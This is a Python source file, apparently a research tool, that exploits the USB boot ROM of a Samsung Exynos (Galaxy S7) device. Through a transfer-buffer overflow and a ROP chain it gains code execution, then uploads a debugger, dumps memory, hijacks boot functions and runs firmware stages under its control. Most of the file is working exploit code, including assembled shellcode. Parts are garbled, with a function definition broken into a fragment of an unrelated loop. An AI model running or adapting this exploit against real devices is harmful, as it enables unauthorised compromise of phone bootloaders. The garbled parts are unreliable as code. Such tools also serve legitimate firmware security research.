import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * from ghidra_assistant.concrete_device import * from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger from qiling.const import QL_ARCH import os, tqdm, datetime def p32(x): return struct.pack("= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) assert res == 0, "Error sending ROP chain" def usb_write(self, data): assert len(data) <= 0x200, "Data too big" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300) assert res == 0, f"Error sending data {res}" assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}" return transferred.value def usb_read(self, size): transferred = ctypes.c_int() buf = ctypes.c_buffer(b"", size) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300) assert res == 0, f"Error receiving data {res}" return buf.raw[:transferred.value] def setup_concrete_device(self, concrete_device : ConcreteDevice): #Setup architecture concrete_device.arch = QL_ARCH.ARM64 concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_stack_location = 0x206b000 concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.write = self.usb_write #Overwrite all calls to make the concrete target function properly concrete_device.copy_functions() def usb_debug(self): """ Function to debug USB behaviour. Sends and receives data in continuous flow. """ transferred = ctypes.c_int() # Send some data count = 0 def _send_data(): transferred.value = 0 p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, f"Error sending data ({res})" def _recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, f"Error receiving data ({res})" hexdump(buf.raw) # Should have received some bytes while True: _send_data() _recv_data() count += 1 def dump_memory(self, start: hex=0x0, end: hex=0x0206ffff, write=False): """ Dumps memory from the device. Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff. """ # NOT WORKING YET transferred = ctypes.c_int() dumped = b"" # Read data from memory for block in tqdm.tqdm(range(start, end, 0x200)): self.usb_write(p32(block-0x200)) res = self.usb_read(0x200) dumped += res if write: filename = f"dump_{hex(start)}_{hex(end)}_{self.target}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')}.bin" with open(filename, "wb") as f: f.write(dumped) return dumped # transferred = ctypes.c_int() # stack_pointer = 0x02021810 # for block in range(0x2020000, 0x2200000, 0x200): # stack_pointer += 0x200 # dumped += self.cd.memdump_region(block, 0x200) def setup_guppy_debugger(self): """ Sets up guppy debugger on the device itself. """ def _setup_debugger(): ''' Setup the debugger as a concrete device ''' self.cd = ConcreteDevice(None, False) self.cd.dev = self.setup_concrete_device(self.cd) self.cd.test_connection() def _initial_run_debugger(): """Write debugger to device and test basic functionality""" if os.getenv("USER") == "eljakim": debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() else: try: debugger = open("../../dump/debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) debugger += ((0x2000 - len(debugger)) * b"\x00") assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" for block in range(0, len(debugger), 0x200): self.usb_write(debugger[block:block+0x200]) # time.sleep(.5) # Wait a little bit assert self.usb_read(0x200) == b"GiAs", "No response from debugger" # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" _initial_run_debugger() _setup_debugger() def dumb_interact(self, dump_imems=False): ''' Room for playing around with the debugger ''' self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync_special = False logger.debug('State after setting up initial debugger') self.cd.arch_dbg.state.print_ctx() def relocate_debugger(): # Seems to be cleared upon cache clearing?? if os.getenv("USER") == "eljakim": debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read() else: try: debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) self.cd.memwrite_region(0x020c0000, debugger_reloc) self.usb_write(b"FLSH") # Flush cache self.cd.restore_stack_and_jump(0x020c0000) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000) relocate_debugger() logger.debug('State after relocating debugger') self.cd.arch_dbg.state.print_ctx() def memdump_imem(): dumped = b"" for block in range(0x2020000, 0x2070000, 0x200): # print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) return dumped # dump1 = memdump_imem() # Try loading bl1 bl1 = open("../S7/bl1.bin", "rb").read() # Using keystone, look for each msr instruction (AARCH64, LE) # If wanting to modify the binary # bl1 = bl1[:0x1C23] + b'\xaa' + bl1[0x1C24:] self.cd.memwrite_region(0x02021800, bl1) imem1 = memdump_imem() AUTH_BL1 = 0x00012848 def auth_bl1(lr=0x2069000): # Load the firmware self.cd.arch_dbg.state.W0 = 1 self.cd.arch_dbg.state.X1 = 1 self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" auth_bl1(0x020c0000) # Dump memory # imem2 = memdump_imem() # with open("/tmp/imem1_bad.bin", "wb") as f: # f.write(imem1) # with open("/tmp/imem2_bad.bin", "wb") as f: # f.write(imem2) # Overwrite jump back to the debugger from functions encountered during jump_bl1 # self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790 self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address) self.cd.memwrite_region(0x020200dc, p32(0x020c0000)) def hijack_brom_weird(): print(f"LR = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}") self.cd.restore_stack_and_jump(0x00000314) BOOT_BL1 = 0x00019310 def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(BOOT_BL1) jump_bl1(0x020c0000) while True: try: resp = self.usb_read(0x200) logging.debug(f'Within jump_bl1. Response: {resp}.') if self.cd.arch_dbg.state.LR == 0x02022948: break # ROM will load next stage over USB hijack_brom_weird() except: pass shellcode = f""" ldr x0, debugger_addr blr x0 debugger_addr: .quad 0x020c0000 """ shellcode = ks.asm(shellcode, as_bytes=True)[0] self.cd.memwrite_region(0x2021800, shellcode) self.cd.jump_to(0x2021800) pass # load bl31 bl31 = open("../S7/bl31.bin", "rb").read() # bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger # # Write bl31 at 0x02021800 and authenticate self.cd.memwrite_region(0x02021800, bl31) auth_bl1(0x020c0000) # Jump to bl31 jump_bl1(0x02021800) pass # OLD def memdump_try(): self.cd.arch_dbg.state.LR = 0x020200e8 self.cd.restore_stack_and_jump(0x02021810) stack_pointer = 0x02021810 dumped = b"" for block in range(0x2020000, 0x2200000, 0x200): stack_pointer += 0x200 self.cd.arch_dbg.state.print_ctx() print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) # self.cd.restore_stack_and_jump(0x02021810) #000125b4 # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished # self.cd.restore_stack_and_jump(0x00012814) # self.cd.restore_stack_and_jump(0x000125b4) auth_bl1() # auth_bl1() jump_bl1() assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" self.cd.arch_dbg.state.print_ctx() def jump_bl31(): self.cd.arch_dbg.state.LR = 0x2069000 self.cd.restore_stack_and_jump(0x02021810) bl31 = open("../S7/bl31.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl31) jump_bl31() assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?" self.cd.arch_dbg.state.print_ctx() # memdump_try() # auth_bl1() self.cd.arch_dbg.state.print_ctx() #authenticate it pass if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) args = arg.parse_args() exynos = ExynosDevice() if args.debug: shellcode = open("../dwc3_test/dwc3.bin", "rb").read() exynos.exploit(shellcode) exynos.dump_memory(write=True) # exynos.usb_debug() sys.exit(0) stage1 = open("stage1/stage1.bin", "rb").read() exynos.exploit(stage1) exynos.setup_guppy_debugger() exynos.dumb_interact() sys.exit(0)